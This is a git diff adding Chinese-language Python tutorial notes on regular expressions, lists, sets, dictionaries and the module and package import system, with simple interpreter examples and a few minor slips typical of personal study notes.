表示,在当前位置成功匹配时成功,否则失败。但一旦所含表达式已经尝试,匹配引擎根本没有提高;模式的剩余部分还要尝试界定符的右边。 +(?! re) 前向否定界定符。与肯定界定符相反;当所含表达式不能在字符串当前位置匹配时成功。 +(?> re) 匹配的独立模式,省去回溯。 +\w 匹配数字字母下划线 +\W 匹配非数字字母下划线 +\s 匹配任意空白字符,等价于 [\t\n\r\f]。 +\S 匹配任意非空字符 +\d 匹配任意数字,等价于 [0-9]。 +\D 匹配任意非数字 +\A 匹配字符串开始 +\Z 匹配字符串结束,如果是存在换行,只匹配到换行前的结束字符串。 +\z 匹配字符串结束 +\G 匹配最后匹配完成的位置。 +\b 匹配一个单词边界,也就是指单词和空格间的位置。例如, 'er\b' 可以匹配"never" 中的 'er',但不能匹配 "verb" 中的 'er'。 +\B 匹配非单词边界。'er\B' 能匹配 "verb" 中的 'er',但不能匹配 "never" 中的 'er'。 +\n, \t, 等。 匹配一个换行符。匹配一个制表符, 等 +\1...\9 匹配第n个分组的内容。 +\10 匹配第n个分组的内容,如果它经匹配。否则指的是八进制字符码的表达式。 +正则表达式实例 +字符匹配 +实例 描述 +python 匹配 "python". +字符类 +实例 描述 +[Pp]ython 匹配 "Python" 或 "python" +rub[ye] 匹配 "ruby" 或 "rube" +[aeiou] 匹配中括号内的任意一个字母 +[0-9] 匹配任何数字。类似于 [0123456789] +[a-z] 匹配任何小写字母 +[A-Z] 匹配任何大写字母 +[a-zA-Z0-9] 匹配任何字母及数字 +[^aeiou] 除了aeiou字母以外的所有字符 +[^0-9] 匹配除了数字外的字符 +特殊字符类 +实例 描述 +. 匹配除 "\n" 之外的任何单个字符。要匹配包括 '\n' 在内的任何字符,请使用象 '[.\n]' 的模式。 +\d 匹配一个数字字符。等价于 [0-9]。 +\D 匹配一个非数字字符。等价于 [^0-9]。 +\s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。 +\S 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。 +\w 匹配包括下划线的任何单词字符。等价于'[A-Za-z0-9_]'。 +\W 匹配任何非单词字符。等价于 '[^A-Za-z0-9_]'。 + Python 测验 Python3 CGI编程 +9 篇笔记 写笔记 +反馈/建议反馈/建议 diff --git "a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03f.\346\225\260\346\215\256\347\273\223\346\236\204.md" "b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03f.\346\225\260\346\215\256\347\273\223\346\236\204.md" new file mode 100644 index 00000000000..ae151785f97 --- /dev/null +++ "b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03f.\346\225\260\346\215\256\347\273\223\346\236\204.md" @@ -0,0 +1,336 @@ + +[toc] + +# Python3 数据结构 + +# 列表 list [a,b,c] +- `列表`是可变的,这是它区别于字符串和元组的最重要的特点 +- `列表`可以修改,而`字符串`和`元组`不能。 + +| 方法 | 描述 | +| ----------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| list.append(x) | 把一个元素添加到列表的结尾,相当于 a[len(a):] = [x] | +| list.extend(L) | 通过添加指定列表的所有元素来扩充列表,相当于 a[len(a):] = L。 | +| list.insert(i, x) | 在指定位置插入一个元素。i: 准备插入到其前面的那个元素的索引,例如 a.insert(0, x) 会插入到整个列表之前, a.insert(len(a), x) 相当于 a.append(x) 。 | +| list.remove(x) | 删除列表中值为 x 的第一个元素。如果没有这样的元素,就会返回一个错误。 | +| list.pop([i]) | 从列表的指定位置移除元素,并将其返回。如果没有指定索引,a.pop()返回最后一个元素。元素随即从列表中被移除。( i 两边的方括号表示这个参数是可选的,而不是要求输入一对方括号) | +| list.clear() | 移除列表中的所有项,等于 `del a[:]`。 | +| list.index(x) | 返回列表中第一个值为 x 的元素的索引。如没有匹配的元素就会返回一个错误。 | +| list.count(x) | 返回 x 在列表中出现的次数。 | +| list.sort() | 对列表中的元素进行排序。 | +| list.reverse() | 倒排列表中的元素。 | +| list.copy() | 返回列表的浅复制,等于a[:]。 | + + +```py +# 实例 + +>>> a.insert(2, -1) +>>> a.append(333) +>>> a +[66.25, 333, -1, 333, 1, 1234.5, 333] +>>> a.index(333) +1 +>>> a.remove(333) +>>> a +[66.25, -1, 333, 1, 1234.5, 333] +>>> a.reverse() +>>> a +[333, 1234.5, 1, 333, -1, 66.25] +>>> a.sort() +>>> a +[-1, 1, 66.25, 333, 333, 1234.5] + +# 注意:类似 insert, remove 或 sort 等修改列表的方法没有返回值。 +``` + + +--- + +## 将列表当做`堆栈`使用 +- 列表方法使得列表可以很方便的作为一个`堆栈`来使用 +- 堆栈作为特定的数据结构,最先进入的元素最后一个被释放(后进先出)。用 append() 方法可以把一个元素添加到堆栈顶。用不指定索引的 pop() 方法可以把一个元素从堆栈顶释放出来。例如: + +```py +# 实例 +>>> stack = [3, 4, 5] +>>> stack.append(6) +>>> stack.append(7) +>>> stack +[3, 4, 5, 6, 7] +>>> stack.pop() +7 +>>> stack.pop() +6 +>>> stack.pop() +5 +>>> stack +[3, 4] +``` + +--- + +## 将列表当作`队列`使用 +- 也可以把列表当做队列用,在队列里第一加入的元素,第一个取出来;但是列表用作这样的目的效率不高。 +- 在列表的最后添加或者弹出元素速度快,然而在列表里插入或者从头部弹出速度却不快(因为所有其他的元素都得一个一个地移动)。 + +```py +>>> from collections import deque +>>> queue = deque(["Eric", "John", "Michael"]) +>>> queue.append("Terry") # Terry arrives +>>> queue.append("Graham") # Graham arrives +>>> queue.popleft() # The first to arrive now leaves +'Eric' +>>> queue.popleft() # The second to arrive now leaves +'John' +>>> queue # Remaining queue in order of arrival +deque(['Michael', 'Terry', 'Graham']) +``` + +--- + +## 列表推导式 +- `列表推导式`提供了 *从序列创建列表* 的简单途径。 +- 通常应用程序将一些操作应用于某个序列的每个元素,用其获得的结果作为生成新列表的元素,或者根据确定的判定条件创建子序列。 + +```py +# 每个列表推导式都在 for 之后跟一个表达式,然后有零到多个 for 或 if 子句。返回结果是一个根据表达从其后的 for 和 if 上下文环境中生成出来的列表。 +# 如果希望表达式推导出一个元组,就必须使用括号。 + +# 将列表中每个数值乘三,获得一个新的列表: +>>> vec = [2, 4, 6] +>>> [3*x for x in vec] +[6, 12, 18] +# 对序列里每一个元素逐个调用某方法: +>>> [[x, x**2] for x in vec] +[[2, 4], [4, 16], [6, 36]] +# 用 if 子句作为过滤器: +>>> [3*x for x in vec if x > 3] +[12, 18] +>>> [3*x for x in vec if x < 2] +[] + + +# 实例 +>>> freshfruit = [' banana', ' loganberry ', 'passion fruit '] +>>> [weapon.strip() for weapon in freshfruit] +['banana', 'loganberry', 'passion fruit'] + +#关于循环和其它技巧的演示: + +>>> vec1 = [2, 4, 6] +>>> vec2 = [4, 3, -9] +>>> [x*y for x in vec1 for y in vec2] +[8, 6, -18, 16, 12, -36, 24, 18, -54] +>>> [x+y for x in vec1 for y in vec2] +[6, 5, -7, 8, 7, -5, 10, 9, -3] +>>> [ vec1[i]*vec2[i] for i in range(len(vec1))] +[8, 12, -54] +列表推导式可以使用复杂表达式或嵌套函数: + +>>> [str(round(355/113, i)) for i in range(1, 6)] +['3.1', '3.14', '3.142', '3.1416', '3.14159'] +``` + +--- + +## 嵌套列表解析 +Python的列表还可以嵌套。 + +```py +# 展示3X4的矩阵列表: +matrix = [[1, 2, 3, 4],[5, 6, 7, 8],[9, 10, 11, 12],] + +# 将3X4的矩阵列表转换为4X3列表: +>>> print( [row[0] for row in matrix] ) +[1, 5, 9] + +>>> a=[ [row[i] for row in matrix] for i in range(4)] +[[1, 5, 9], [2, 6, 10], [3, 7, 11], [4, 8, 12]] + +# 也可以使用以下方法来实现: +>>> b=[] +>>> for i in range(4): + b.append([row[i] for row in matrix]) +[[1, 5, 9], [2, 6, 10], [3, 7, 11], [4, 8, 12]] + +# 另外一种实现方法: +>>> c=[] +>>> for i in range(4): + c_row=[] + for row in matrix: + c_row.append(row[i]) + c.append(c_row) +[[1, 5, 9], [2, 6, 10], [3, 7, 11], [4, 8, 12]] +``` + +--- + +## del 语句 +- del 语句可以从一个列表中依索引而不是值来删除一个元素。 + - pop() 返回一个值不同 + - del() 从列表中删除一个切割,或清空整个列表(我们以前介绍的方法是给该切割赋一个空列表)。 + +```py +>>> a = [-1, 1, 66.25, 333, 333, 1234.5] + +>>> del a[0] +[1, 66.25, 333, 333, 1234.5] +>>> del a[2:4] +[1, 66.25, 1234.5] +>>> del a[:] +[] + +# 可以用 del 删除实体变量: +>>> del a +``` + +--- + +# 元组和序列 +- 元组: 由若干逗号分隔的值组成, + +```py +>>> t = 12345, 54321, 'hello!' +>>> t[0] +12345 +>>> t +(12345, 54321, 'hello!') +>>> u = t, (1, 2, 3, 4, 5) # Tuples may be nested +>>> u +((12345, 54321, 'hello!'), (1, 2, 3, 4, 5)) + # 元组在输出时总是有括号的,以便于正确表达嵌套结构。 + # 在输入时可能有或没有括号, 不过括号通常是必须的(如果元组是更大的表达式的一部分)。 +``` + +--- + +# 集合 tuple {a,b,c} +- 集合是一个无序不重复元素的集。 +- 基本功能包括`关系测试`和`消除重复元素`。 +- 可以用大括号({})创建集合。 +- 注意:如果要创建一个空集合,你必须用 set() 而不是 {} ;后者创建一个空的字典 + +```py +>>> basket = {'BigBlueberry', 'orange', 'BigBlueberry', 'pear', 'orange', 'banana'} +>>> print(basket) # 删除重复的 +{'orange', 'banana', 'pear', 'BigBlueberry'} +>>> 'orange' in basket # 检测成员 +True +>>> 'crabgrass' in basket +False + +# 两个集合的操作 +>>> a = set('abracadabra') +>>> b = set('alacazam') +>>> a # a 中唯一的字母 +{'a', 'r', 'b', 'c', 'd'} +>>> a - b # 在 a 中的字母,但不在 b 中 +{'r', 'd', 'b'} +>>> a | b # 在 a 或 b 中的字母 +{'a', 'c', 'r', 'd', 'b', 'm', 'z', 'l'} +>>> a & b # 在 a 和 b 中都有的字母 +{'a', 'c'} +>>> a ^ b # 在 a 或 b 中的字母,但不同时在 a 和 b 中 +{'r', 'd', 'b', 'm', 'z', 'l'} + +# 集合也支持推导式: +>>> a = {x for x in 'abracadabra' if x not in 'abc'} +>>> a +{'r', 'd'} +``` + +--- + +# 字典 +- 另一个非常有用的 Python 内建数据类型是字典。 +- 序列是以连续的整数为索引,与此不同的是,字典以关键字为索引,关键字可以是任意不可变类型,通常用字符串或数值。 +- 理解字典的最佳方式是把它看做无序的键=>值对集合。在同一个字典之内,关键字必须是互不相同。 +- 一对大括号创建一个空的字典:{}。 + +```py +>>> tel = {'jack': 4098, 'sape': 4139} + +>>> tel['guido'] = 4127 +{'sape': 4139, 'guido': 4127, 'jack': 4098} +>>> tel['jack'] +4098 +>>> del tel['sape'] +>>> tel['irv'] = 4127 +{'guido': 4127, 'irv': 4127, 'jack': 4098} + +>>> list(tel.keys()) +['irv', 'guido', 'jack'] +>>> sorted(tel.keys()) +['guido', 'irv', 'jack'] + +>>> 'guido' in tel +True +>>> 'jack' not in tel +False + + +# 构造函数 dict() 直接从键值对元组列表中构建字典。 +# 如果有固定的模式,列表推导式指定特定的键值对 +>>> dict([('sape', 4139), ('guido', 4127), ('jack', 4098)]) +{'sape': 4139, 'jack': 4098, 'guido': 4127} + + +# 字典推导可以用来创建任意键和值的表达式词典 +>>> {x: x**2 for x in (2, 4, 6)} +{2: 4, 4: 16, 6: 36} + +# 如果关键字只是简单的字符串,使用关键字参数指定键值对有时候更方便: +>>> dict(sape=4139, guido=4127, jack=4098) +{'sape': 4139, 'jack': 4098, 'guido': 4127} +``` + +--- + +# 遍历技巧 +- 在`字典`中遍历时,关键字和对应的值可以使用 items() 方法同时解读出来 +- 在`序列`中遍历时,索引位置和对应值可以使用 enumerate() 函数同时得到 + +```py +# 在字典中遍历时,关键字和对应的值可以使用 items() 方法同时解读出来: +>>> knights = {'gallahad': 'the pure', 'robin': 'the brave'} +>>> for k, v in knights.items(): +... print(k, v) +gallahad the pure +robin the brave + +# 在序列中遍历时,索引位置和对应值可以使用 enumerate() 函数同时得到: +>>> a=['tic', 'tac', 'toe'] +>>> for i, v in enumerate(a): + print(i, v) +(0, 'tic') +(1, 'tac') +(2, 'toe') + +# 同时遍历两个或更多的序列,可以使用 zip() 组合: +>>> questions = ['name', 'quest', 'favorite color'] +>>> answers = ['lancelot', 'the holy grail', 'blue'] +>>> for q, a in zip(questions, answers): +... print('What is your {0}? It is {1}.'.format(q, a)) +What is your name? It is lancelot. +What is your quest? It is the holy grail. +What is your favorite color? It is blue. + +# 反向遍历一个序列,首先指定这个序列,然后调用 reversed() 函数: +>>> for i in reversed(range(1, 10, 2)): +... print(i) +9 +7 +5 +3 +1 + +#按顺序遍历一个序列,使用 sorted() 函数返回一个已排序的序列,并不修改原值 +>>> basket = ['BigBlueberry', 'orange', 'BigBlueberry', 'pear', 'orange', 'banana'] +>>> for f in sorted(set(basket)): + print(f) +apple +banana +orange +pear +``` diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.04.0.Modules.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.04.0.Modules.md new file mode 100644 index 00000000000..5a60e2fbcc8 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.04.0.Modules.md @@ -0,0 +1,788 @@ +# modules + +[toc] + +## modules +- 程序代码越写越多,一个文件里代码就会越长越不容易维护。 +- 为了编写可维护的代码,把函数分组分别放到不同的文件里,每个文件包含的代码就相对较少 +- 很多编程语言都采用这种组织代码的方式。 + - 在Python中,一个`.py`文件就称之为一个模块(Module)。 + +- 用 python 解释器来编程,如果从 Python 解释器退出再进入,那么你定义的所有的方法和变量就都消失了。 +- 为此 Python 提供了一个办法,把这些定义存放在文件中,为一些脚本或者交互式的解释器实例使用,这个文件被称为模块 modules。 +- 模块是一个包含所有你定义的函数和变量的文件,其后缀名是`.py`。 +- 模块可以被别的程序引入,以使用该模块中的函数等功能。这也是使用 python 标准库的方法。 + +Module好处 +- 提高了代码的可维护性。 +- 写代码不必从零开始。一个模块可以被其他地方引用。引用其他模块,Python内置/第三方的模块 +- 可以避免函数名和变量名冲突。 + - 相同名字的函数和变量完全可以分别存在不同的模块中, + - 因此在编写模块时,不必考虑名字会与其他模块冲突。但是也要尽量不要与内置函数名字冲突。 + - 不同的人编写的模块名相同, 为了避免模块名冲突,Python引入了按目录来组织模块的方法,称为包(Package)。 + +A `module` is a file containing Python definitions and statements intended for use in other Python programs. There are many Python modules that come with Python as part of the `standard library`. + - check `python documents`: `global models index` + - The name is case-sensitive. + +Functions imported as part of a module live in their own `namespace`. + - A `namespace`: a space in which all names are distinct from each other. + - The same name can be reused in different namespaces but two objects can’t have the same name within a single namespace. + + +### 包 `Package。` +包是一种管理 Python 模块命名空间的形式,采用`点模块名称`。 +- 比如一个模块的名称是 `A.B`, 表示: `一个包 A 中的子模块 B` 。 + +采用`点模块名称`这种形式, 不用担心不同库之间的模块重名的情况。 +- 这样不同的作者都可以提供 NumPy 模块,或者是 Python 图形库。 + +#### example + +- 一个`abc.py`的文件就是一个名字叫abc的模块 +- 一个`xyz.py`的文件就是一个名字叫xyz的模块。 +- 假设我们的abc和xyz这两个模块名字与其他模块冲突了,于是我们可以通过包来组织模块,避免冲突。 +- 方法是选择一个顶层包名,比如mycompany,按照如下目录存放: + + mycompany + ├─ __init__.py + ├─ abc.py + └─ xyz.py + +- 引入了包以后,只要顶层的包名不与别人冲突,那所有模块都不会与别人冲突。 +- 现在,`abc.py`模块的名字就变成了`mycompany.abc`,类似的,xyz.py的模块名变成了`mycompany.xyz`。 + +- 注意 + - 每一个包目录下面都会有一个`__init__.py`的文件,这个文件是必须存在的,否则,Python就把这个目录当成普通目录,而不是一个包。 + - `__init__.py`可以是空文件,也可以有Python代码 + - `__init__.py`本身就是一个模块,而它的模块名就是mycompany。 + + +- 可以有多级目录,组成多级层次的包结构。比如如下的目录结构: + - 文件`www.py`的模块名就是`mycompany.web.www` + - 两个文件 `utils.py` 的模块名分别是 `mycompany.utils` 和 `mycompany.web.utils` + + mycompany + ├─ web + │ ├─ __init__.py + │ ├─ utils.py + │ └─ www.py + ├─ __init__.py + ├─ abc.py + └─ utils.py + + +- 创建模块时要注意命名,不能和Python自带的模块名称冲突。 +- 例如,系统自带了sys模块,自己的模块就不可命名为sys.py,否则将无法导入系统自带的sys模块。 +mycompany.web也是一个模块,请指出该模块对应的.py文件。 + + +```py +设计一套统一处理声音文件和数据的模块(或者称之为一个"包")。 +- 现存很多种不同的音频文件格式(通过后缀名区分的: .wav,:file:.aiff,:file:.au,),所以你需要有一组不断增加的模块,用来在不同的格式之间转换。 + +- 并且针对这些音频数据,还有很多不同的操作(比如混音,添加回声,增加均衡器功能,创建人造立体声效果),所以你还需要一组怎么也写不完的模块来处理这些操作。 + +这里给出了一种可能的包结构(在分层的文件系统中): + +sound/ 顶层包 + __init__.py 初始化 sound 包 + formats/ 文件格式转换子包 + __init__.py + wavread.py + ... + auwrite.py + + effects/ 声音效果子包 + __init__.py + echo.py + surround.py + reverse.py + ... + + filters/ filters 子包 + __init__.py + equalizer.py + vocoder.py + karaoke.py + ... +``` + +在导入一个包的时候,Python 会根据 `sys.path` 中的目录来寻找这个包中的子目录 +- 目录只有包含一个叫做 `__init__.py` 的文件才会被认作是一个包,主要是为了避免一些滥俗的名字(比如叫做 string)不小心的影响搜索路径中的有效模块。 +- 最简单的情况,放一个空的 `:file:__init__.py` 就可以了。 +- 当然这个文件中也可以包含一些初始化代码或者为`__all__`变量赋值。 + +--- + +## 导入包 `import module` + +by `import turtle` +the `turtle` is creating a name, reference a object `module object` + - a class definition `Screen` + - and a class definition `Turtle` + - in the file, now can use `turtle.Screen() ` + +an import statement says “there’s some code in another file; please make its functions and variables available in this file.” + +an import statement causes all the code in another file to be executed. + +all `import` commands are put at the very top of your file. +- They can be put elsewhere, + +example +- file `myprog.py` in directory `~/Desktop/mycode/` +`myprog.py` contains a line of code `import morecode`, +then the python interpreter will look for a file called `morecode.py`, excecute its code, and make its object bindings available for reference in the rest of the code in `myprog.py`. +- `import morecode`, not `import morecode.py`, but the other file has to be called `morecode.py`. + +> overwrite standard library modules! +> it is possible to overwrite a standard library. +> example, if you create a file `random.py` in the same directory where `myprog.py` lives +> and then `myprog.py` invokes `import random`, it will import your file rather than the standard library module. +> That’s not usually what you want, so be careful about how you name your python files! + +--- + +### Syntax for Importing Modules and Functionality + +1. `import morecode` 每次只导入一个包 + - imports everything in morecode.py. + - `f1()`: python will look for an f1 that was defined in the current file. + - `morecode.f1()`: to invoke a `function f1` defined in morecode.py + - have to explicitly mention morecode again, to specify it is the f1 function from the morecode namespace. + + ```py + import sound.effects.echo + # 必须使用全名去访问 + sound.effects.echo.echofilter(input, output, delay=0.7, atten=4) + ``` + + +2. `import morecode as mc` 导入子模块且不需要前缀, + - given the `morecode module` the alias `mc`. Programmers often do this to make code easier to type. + - give the imported module an alias (a different name, just for when you use it in your program). + - invoke `f1` as `mc.f1()`. + + ```py + import sound.effects as echo + #使用 + echo.echofilter(input, output, delay=0.7, atten=4) + ``` + + +3. `from morecode import f1` 直接导入一个函数或者变量 + - when you only want to import SOME of the functionality from a module, and you want to make those objects be part of the current module’s namespace. + - invoke f1 without referencing morecode again: `f1()`. + + ```py + 可以直接使用 echofilter() 函数: + from sound.effects.echo import echofilter + echofilter(input, output, delay=0.7, atten=4) + ``` + + +当使用 `from package import item` 这种形式的时候,对应的 item 既可以是包里面的子模块(子包),或者包里面定义的其他名称,比如函数,类或者变量。 +- `import` 语法会首先把 `item` 当作一个包定义的名称,如果没找到,再试图按照一个模块去导入。如果还没找到,抛出一个 `exc:ImportError` 异常。 + +当使用 `import item.subitem.subsubitem` 这种导入形式,除了最后一项,都必须是包,而`最后一项则可以是模块或者是包`,但是不可以是类,函数或者变量的名字。 + +### 精确的包的索引 `import item.subitem.subsubitem` +从一个包中导入* + +使用 `from sound.effects import *` 会发生什么? + +- Python 会进入文件系统 +- 找到这个包里面所有的子模块,一个一个的把它们都导入进来。 +- 但不幸,这个方法在 Windows平台上工作的就是非常好,因为Windows是一个大小写不区分的系统。 +- 没有人敢担保一个叫做 `ECHO.py` 的文件导入为模块 `echo` 还是 `Echo` 甚至 `ECHO`。(例如,Windows 95就很讨厌的把每一个文件的首字母大写显示)而且 DOS 的 8+3 命名规则对长模块名称的处理会把问题搞得更纠结。 +- 为了解决这个问题,只能烦劳包作者提供一个精确的包的索引了。 + +### 包定义文件 `__init__.py` de `__all__` 的列表变量 +导入语句遵循如下规则: +- 包定义文件 `__init__.py` 存在 `__all__` 的列表变量 +- 那么在 `from package import *` 的时候就把这个列表中的所有名字作为包内容导入。 +- 作为包的作者,别忘了在更新包之后保证 `__all__` 也更新了。 +- 只需要在 `__init__.py` 文件里面将所有模块名定义在列表 `__ALL__` 中就能解决你最后的担忧。 + +```py + +1. 在 :file:sounds/effects/__init__.py 中包含如下代码: + + __all__ = ["echo", "surround", "reverse"] + + from sound.effects import * + //只会导入包里面这三个子模块。 + + +2. __all__ 没有定义, + + from sound.effects import * + //就不会导入包 sound.effects 里的任何子模块。 + + 只是把包sound.effects和它里面定义的所有内容导入进来(可能运行__init__.py里定义的初始化代码)。 + + 这会把 __init__.py 里面定义的所有名字导入进来。 + 并且他不会破坏掉我们在这句话之前导入的所有明确指定的模块。 + + +看下这部分代码: +import sound.effects.echo +import sound.effects.surround +from sound.effects import * + +在执行 from...import 前,包 sound.effects 中的 echo 和 surround 模块都被导入到当前的命名空间中了。(当然如果定义了 __all__ 就更没问题了) +``` + +通常并不主张使用 `*` 这种方法来导入模块,这种方法经常会导致代码的可读性降低。的确是可以省去不少敲键的功夫,而且一些模块都设计成了只能通过特定的方法导入。 + +记住,使用 `from Package import specific_submodule` 这种方法永远不会有错。事实上,这也是推荐的方法。除非是你 要导入的子模块 有可能和 其他包的子模块重名。 + +### 导入兄弟包(同级别的包) +如果在结构中包是一个子包(比如这个例子中对于包sound来说),而你又想导入兄弟包(同级别的包)你就得使用 `导入绝对的路径` 来导入。 + +比如,如果模块 `sound.filters.vocoder` 要使用包 `sound.effects` 中的模块 `echo`,你就要写成 `from sound.effects import echo`。 + +from . import echo +from .. import formats +from ..filters import equalizer + +无论是隐式的还是显式的相对导入都是从当前模块开始的。 +主模块的名字永远是`__main__`,一个Python应用程序的主模块,应当总是使用绝对路径引用。 + +包还提供一个额外的属性`__path__`。这是一个目录列表,里面每一个包含的目录都有为这个包服务的`__init__.py`,你得在其他`__init__.py`被执行前定义哦。可以修改这个变量,用来影响包含在包里面的模块和子包。 + +这个功能并不常用,一般用来扩展包里面的模块。 + +--- + +## 使用模块 +Python本身就内置了很多非常有用的模块,只要安装完毕,这些模块就可以立刻使用。 + +### `import` 语句 +- 想使用 Python 源文件,只需在另一个源文件里执行 import 语句 +- `import` module1[, module2[,... moduleN] +- 当解释器遇到 import 语句,如果模块在当前的搜索路径就会被导入。 +- 搜索路径是一个解释器会先进行搜索的所有目录的列表。 +- 如想要导入模块 support,需要把命令放在脚本的顶端: + +一个模块只会被导入一次,不管你执行了多少次import。 +- 这样可以防止导入模块被一遍又一遍地执行。 + +```py +//support.py 文件代码 +def print_func( par ): + print ("Hello : ", par) + return + +//test.py +import support # 引入 support 模块 +support.print_func("Runoob") # 调用模块里包含的函数了 +# 输出结果: +$ python3 test.py +Hello : Runoob +``` + +### 搜索路径 +当使用import语句,Python 解析器对模块位置的搜索顺序是: + +1. 当前目录 +2. 如果不在当前目录,Python 则搜索在 `shell` 变量 `PYTHONPATH` 下的每个目录。 +3. 如果都找不到,Python会察看默认路径。 + - UNIX下,默认路径一般为/usr/local/lib/python/。 + +- Python的搜索路径是由一系列目录名组成的,`Python解释器`就依次从这些目录中去寻找所引入的模块。 +- 这看起来很像环境变量,事实上,也可以通过定义环境变量的方式来确定搜索路径。 +- 搜索路径是在Python编译或安装的时候确定的,安装新的库应该也会修改。 +- 模块搜索路径存储在 `system` 模块的 `sys.path` 变量中。 + - 变量里包含`当前目录`,`PYTHONPATH`和 由安装过程决定的`默认目录`。 + +#### `PYTHONPATH` 变量 +作为环境变量,`PYTHONPATH` 由装在一个列表里的许多目录组成。 +- `PYTHONPATH` 的语法和 `shell` 变量 `PATH` 的一样。 + +1. 在 Windows 系统,典型的 PYTHONPATH 如下: + - `set PYTHONPATH=c:\python27\lib;` +2. 在 UNIX 系统,典型的 PYTHONPATH 如下: + - `set PYTHONPATH=/usr/local/lib/python` + + +#### `sys.path` 变量 +```py +>>> import sys +>>> sys.path +['', '/usr/lib/python3.4', '/usr/lib/python3.4/plat-x86_64-linux-gnu', '/usr/lib/python3.4/lib-dynload', '/usr/local/lib/python3.4/dist-packages', '/usr/lib/python3/dist-packages'] +``` + +- `sys.path` 输出是一个列表,其中第一项是空串'',代表当前目录(若是从一个脚本中打印出来的话,可以更清楚地看出是哪个目录),亦即我们执行python解释器的目录(对于脚本的话就是运行的脚本所在的目录)。 +-因此若在当前目录下存在与要引入模块同名的文件,就会把要引入的模块屏蔽掉。 +- 了解了搜索路径的概念,就可以在脚本中修改sys.path来引入一些不在搜索路径中的模块。 + +#### examle: 斐波那契(fibonacci)数列模块 + +在解释器的当前目录或者 sys.path 中的一个目录里面来创建一个`fibo.py`的文件 + +```py +fibo.py代码如下: +def fib(n): # 定义到 n 的斐波那契数列 + a, b = 0, 1 + while b < n: + print(b, end=' ') + a, b = b, a+b # a=how many turns, b=keep increase by 1 + print() + +def fib2(n): # 返回到 n 的斐波那契数列 + result = [] + a, b = 0, 1 + while b < n: + result.append(b) + a, b = b, a+b + return result + + +1. 进入Python解释器,使用下面的命令导入这个模块: + + >>> import fibo + # 这样做并没有把 直接定义在fibo中的函数名称 写入到当前符号表里 + # 只是把模块fibo的名字写到了那里。 + + 使用模块名称来访问函数: + >>>fibo.fib(1000) + 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 + >>> fibo.fib2(100) + [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89] + + >>> fibo.__name__ + 'fibo' + +2. 如果打算经常使用一个函数,你可以把它赋给一个本地的名称: + + >>> fib = fibo.fib + >>> fib(500) + 1 1 2 3 5 8 13 21 34 55 89 144 233 377 +``` + +--- + +#### `from … import` 语句 +从模块中导入一个指定的部分到当前命名空间中,语法如下: + +`from modname import name1[, name2[, ... nameN]]` + +```py +例如 +# 导入模块 fibo 的 fib 函数,使用如下语句: +>>> from fibo import fib, fib2 +>>> fib(500) +1 1 2 3 5 8 13 21 34 55 89 144 233 377 +# 这个声明不会把整个fibo模块导入到当前的命名空间中 +# 只会将fibo里的fib函数引入进来。 +``` + +#### `from … import *` 语句 +一个简单的方法把一个模块的所有内容全都导入到当前的命名空间, but 这种声明不该被过多地使用。 + +`from modname import *` + +--- + +### 深入模块 +模块除了`方法定义`,还可以包括`可执行的代码`。 +- 这些代码一般用来初始化这个模块。 +- 这些代码只有在第一次被导入时才会被执行。 +- 每个模块有`各自独立的符号表`,在模块内部为所有的函数当作`全局符号`表来使用。 +- 所以,模块的作者可以放心大胆的 在模块内部使用这些全局变量,而不用担心把其他用户的全局变量搞混。 + +从另一个方面,也可以通过 `modname.itemname` 这样的表示法来访问模块内的函数 + +--- +模块可以导入其他模块的。 + +1. 在一个模块(脚本/其他地方...)的最前面使用 `import` 来导入一个模块,当然这只是一个惯例,而不是强制的。被导入的模块的`名称`将被放入当前操作的模块的`符号表`中。 + +2. 使用 `import` 直接把模块内(函数,变量的)名称导入到当前操作模块。 + + ```py + >>> from fibo import fib, fib2 + >>> fib(500) + 1 1 2 3 5 8 13 21 34 55 89 144 233 377 + + # 这种导入的方法不会把 被导入的模块的名称 放在当前的字符表中 + # 所以在这个例子里面,fibo 这个名称是没有定义的。 + ``` + +3. 还有一种方法,可以一次性的把模块中的所有(函数,变量)名称都导入到当前模块的字符表: + + ```py + >>> from fibo import * + >>> fib(500) + 1 1 2 3 5 8 13 21 34 55 89 144 233 377 + ``` + + - 把所有的名字都导入进来,但是那些由`单一下划线(_)`开头的名字不在此例。 + - 大多数情况, Python程序员不使用这种方法,因为引入的其它来源的命名,很可能覆盖了已有的定义。 + +--- + +### `__name__属性` +- 一个模块被另一个程序第一次引入时,其主程序将运行。 +- 如果我们想在模块被引入时,模块中的某一程序块不执行,可以用`__name__`属性来使该程序块仅在该模块自身运行时执行。 + +每个模块都有一个`__name__`属性,当其值是`__main__`时,表明该模块自身在运行,否则是被引入。 +- `__name__` 与 `__main__` 底下是双下划线 + + +```py +#!/usr/bin/python3 +# Filename: using_name.py +if __name__ == '__main__': # this sentence + print('程序自身在运行') +else: + print('我来自另一模块') + +# 运行 +$ python using_name.py +程序自身在运行 +$ python +>>> import using_name +我来自另一模块 +``` + +--- + +### `dir()` 函数 +内置函数 `dir()` +- 排好序的字符串列表,内容是一个模块里定义过的名字。 +- 返回的列表容纳了在一个模块里定义的所有模块,变量和函数。 + +```py + +1. 如果没有给定参数,那么 dir() 函数会罗列出当前定义的所有名称: + + >>> import sys + >>> dir(sys) + ['__displayhook__', ... 'version_info', 'warnoptions'] + +2. 包括模块中自定义的属性列表 + + >>> import fibo + >>> a = [1, 2, 3, 4, 5] + >>> fib = fibo.fib + >>> dir() # 得到一个当前模块中定义的属性列表 + ['__builtins__', '__name__', 'a', 'fib', 'fibo', 'sys'] + +3. 建立一个新的变量 'a' + + >>> a = 5 + >>> dir() + ['__builtins__', '__doc__', '__name__', 'a', 'sys'] + +4. 删除变量名 `a` + + >>> del a # + >>> dir() + ['__builtins__', '__doc__', '__name__', 'sys'] +``` + +--- + +### `globals()` 和 `locals()` 函数 +根据调用地方的不同,函数可被用来返回全局和局部命名空间里的名字。 +- 如果在函数内部调用 `locals()`: 返回所有能在该函数里访问的命名。 + - 